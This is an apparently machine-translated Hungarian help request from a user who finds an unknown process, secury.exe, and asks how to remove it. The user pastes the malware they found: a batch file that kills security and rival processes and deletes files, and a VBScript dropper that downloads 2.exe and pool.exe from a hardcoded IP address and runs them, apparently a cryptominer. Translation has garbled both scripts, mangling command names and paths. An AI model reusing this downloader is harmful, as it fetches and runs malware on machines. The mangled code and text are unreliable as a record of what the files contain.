A következő helyzetem van a feladatkezelőmben:

Nem tudom, milyen app van, de nem feltétlenül Steam kliens bootstrapper, mert nem telepítettem, és nem is tudom eltávolítani.

Ha megpróbálom kitalálni, hogy az alkalmazás milyen lépést tesz lehetővé:

Ilyenet látok:

Az MS Config segédprogramban nem találtam semmit, ami úgy néz ki, mint a secury.exe.

Amikor megnyitom a fájl helyét, három fájlt látok:

m.bat, b.exe, 4.vbs.

Az alábbiakban az m.bat tartalmát érjük el:

taskkill / f / t / im secury.exe c: Adatlap sury.exe jobkill / f / t / im kingsoft.exe taskkill / f / t / im expl0rer.exe taskkill / f / t / im ieplare.exev taskkill / f / t / im nssm.exe jobkill / f / t / im MSASCui.exe feladatok / f / t / im SystemSettlngs.exe jobkill / f / t / im SystemSetting.exe taskkill / f / t / im Process.exe tálca / f / t / im winlnlt.exe jobkill / f / t / im WindowsUpgrade.exe taskkill / f / t / im msdc.exe taskkill / f / t / im Fiddlere.exe taskkill / f / t / im shovst.exe taskkill / f / t / im lqrtqe.exe jobkill / f / t / im apkls.exe jobkill / f / t / im winlog.exe taskkill / f / t / im svchosts.exe taskkill / f / t / im win1ogins.exe taskkill / f / t / im shovsts.exe jobkill / f / t / im fcty.exe taskkill / f / t / im soiuos.exe taskkill / f / t / im TrustedInstaller.exe del C: Windows rendszer C: Windows telepítése TrustedInstaller.exe del C: Programadatok ifoftoft.exe del C: Programadatok expl0rer.exe del C: Programadatok ipare.exe del C: Adatok ads.exe del C: \ t ProgramData MSASCui.exe del C: Pro gramData SystemSettlngs.exe del C: Programadatok SystemSetting.exe del C: Programadatok.exe.exe del C: Programadatok winlnlt.exe del C: Adatok WindowsUpgrade.exe del C: Adatok msdc.exe del C: Programadatok Fiddlere.exe del C: Programadatok shovst.exe del C: Programadatok qrtqe.exe del C: Programadatok apkls.exe del C: Programadatok winlog.exe del C: Adatok svchosts.exe del C: Programadatok win1ogins.exe del C: Programadatok shovsts.exe del C: Programadatok wcty.exe del C: Adatlap pool.exe del C: Adatok C: \ ProgramData \ pool3.exe

A következő 4.vbs:

XPost = CreateObject ("Microsoft.XMLHTTP") beállítása xPost.Open "GET", "http://223.68.209.7:65510/2.exe", 0 xPost.Send () beállítása sGet = CreateObject ("ADODB.Stream") ) sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "c: ProgramData2.exe", 2 Set xPost = CreateObject ("Microsoft.XMLHTTP") xPost.Open "GET", "http://223.68.209.7:65510/pool.exe", 0 xPost.Send () Set sGet = CreateObject ("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open () sGet.Write (xPost.responseBody) sGet.SaveToFile "c: Programadatok Pool2.exe", 2 CreateObject ("WScript.Shell"). "C: ProgramData \ t "WScript.Shell"). Futtatás "del C: ProgramData \ t

Mit tehetek, hogy megállítsam a secury.exe-t a számítógépről a kiszolgálón?

PS Az Avast teljes ellenőrzést végeztem a számítógépemen, de nem talált semmit rosszul.